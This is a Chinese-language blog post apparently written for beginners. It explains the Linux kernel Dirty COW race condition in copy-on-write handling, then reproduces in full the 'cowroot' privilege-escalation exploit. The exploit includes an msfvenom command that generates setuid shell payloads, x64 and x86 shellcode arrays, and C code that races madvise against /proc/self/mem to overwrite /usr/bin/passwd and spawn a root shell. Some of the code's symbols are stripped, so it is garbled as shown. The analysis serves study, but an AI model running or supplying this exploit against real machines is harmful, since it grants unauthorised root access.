说明
比较老的一个漏洞,但是对新手来说还是很有分析价值,在这里分析了一下把主要逻辑做成了图的形式方便理解。
参考自
https://www.anquanke.com/post/id/84784
https://www.anquanke.com/post/id/84851
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://blog.jenisec.org/security/hugedirtycow.html
poc来源
https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c
内核源码下载
https://www.kernel.org/pub/linux/kernel/v4.x/linux-4.7.tar.xz
调试所需其他文件下载参考
https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/
内存页的分配过程
分配内存页。mmap使用MAP_PRIVATE标记,和PROT_READ标记。映射只读页会让VM_WRITE为0 。MAP_PRIVATE被置为1时,对mmap得到内存映射进行的写操作会使内核触发COW操作,写的是COW后的内存,不会同步到磁盘的文件中。
c
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
注:在mmap并不会直接分配内存,当对该内存进行操作(read,write)的时候才会把文件映射到内存。
分配过程会决定是否进行cow操作复制内存,下图中蓝色部分为cow的过程。其中follow_page_mask和page fault函数是会被__get_user_pages
函数循环调用的,在第一次调用的时候会进入蓝色部分具体后面将会分析。
当调用了write函数在内核态会调用__get_user_pages
函数。具体流程如下图,对一些关键字段的描述
- FOLL_WRITE位是否为1判断要是否需要该页具有写权限,通过页表项的VM_WRITE位是否为1来判断该页是否可写。
- 由于Mappedmem是以PROT_READ和MAP_PRIVATE的的形式进行映射的。所以VM_WRITE为0,又因为我们要求页表项要具有写权限,所以FOLL_WRITE为1
- VM_FAULT_WRITE位是否为1来判断COW是否顺利完成
- FAULT_FLAG_WRITE表示想要写入页(类似FOLL_WRITE)
- pte_write(entry)页面具有写权限(类似VM_WRITE为1)
代码流程
exp执行过程分析
正常情况:
- 第一轮:当调用write函数没有在内存中找到内存页,会从调页。但是检测发现想要的权限(写)和内存的权限(mmap映射为只读)不符,执行cow复制一块内存标记为只读。
- 第二轮:查找到上面申请的cow页但是权限检查失败,因为cow没有其他备份所以直接去除了想要写权限的标志FOLL_WRITE(找到内存页的时候因为这个标志导致权限检查失败的)。
- 第三轮:正常查找到cow页可以在cow页写,保存到内存中但是不会写回到硬盘。
漏洞情况:
- 第一二轮同上
- 每轮开始之前会把cpu调度走,这时释放掉内存页再次申请的时候将会:因为没有FOLL_WRITE不会进行cow正常找到内存页返回此时可以进行写入。
FOLL_WRITE标记是对应写入前检查页面是否具有写权限的(是对权限的检查)。正常情况下申请完cow,写入操作将会写入到cow内存是允许写入的(所以去除了FOLL_WRITE标记)写入的内容会在本进程的虚拟内存起作用,但是不会同步到磁盘。
执行过程流程图如下,绿色部分为用户输入,红色部分为漏洞相关。
获取root权限
通过msf生成payload,指定PrependSetuid为生成shellcode会setuid(0)
bash
msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
生成的payload写入/usr/bin/passwd
文件
```c
/
* (un)comment correct payload first (x86 or x64)!
*
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd overwritten
* Popping root shell.
* Don't forget to restore /tmp/bak
* thread stopped
* thread stopped
* root@box:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
*
@robinverton
*/
include
include
include
include
include
include
include
void map;
int f;
int stop = 0;
struct stat st;
char name;
pthread_t pth1,pth2,pth3;
// change if no permissions to read
char suid_binary[] = "/usr/bin/passwd";
/
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
/
unsigned char sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 177;
/
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
unsigned char sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 136;
/
void madviseThread(void arg)
{
char str;
str=(char)arg;
int i,c=0;
for(i=0;i<1000000 && !stop;i++) {
c+=madvise(map,100,MADV_DONTNEED);
}
printf("thread stoppedn");
}
void procselfmemThread(void arg)
{
char str;
str=(char)arg;
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<1000000 && !stop;i++) {
lseek(f,map,SEEK_SET);
c+=write(f, str, sc_len);
}
printf("thread stoppedn");
}
void waitForWrite(void arg) {
char buf[sc_len];
for(;;) {
FILE *fp = fopen(suid_binary, "rb");
fread(buf, sc_len, 1, fp);
if(memcmp(buf, sc, sc_len) == 0) {
printf("%s overwrittenn", suid_binary);
break;
}
fclose(fp);
sleep(1);
}
stop = 1;
printf("Popping root shell.n");
printf("Don't forget to restore /tmp/bakn");
system(suid_binary);
}
int main(int argc,char argv[]) {
char backup;
printf("DirtyCow root privilege escalationn");
printf("Backing up %s to /tmp/bakn", suid_binary);
asprintf(&backup, "cp %s /tmp/bak", suid_binary);
system(backup);
f = open(suid_binary,O_RDONLY);
fstat(f,&st);
printf("Size of binary: %dn", st.st_size);
char payload[st.st_size];
memset(payload, 0x90, st.st_size);
memcpy(payload, sc, sc_len+1);
map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("Racing, this may take a while..n");
pthread_create(&pth1, NULL, &madviseThread, suid_binary);
pthread_create(&pth2, NULL, &procselfmemThread, payload);
pthread_create(&pth3, NULL, &waitForWrite, NULL);
pthread_join(pth3, NULL);
return 0;
}
```
0x01 简介 ModSecurity是一个开源的、跨平台的Web应用防火墙,它可以通过检查Web服务接收到的数据,以及发送出去的数据来对网站进行安全防护。 ModSecurity有以下作用: SQL Injection (SQLi):阻止SQL注入 Cros…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论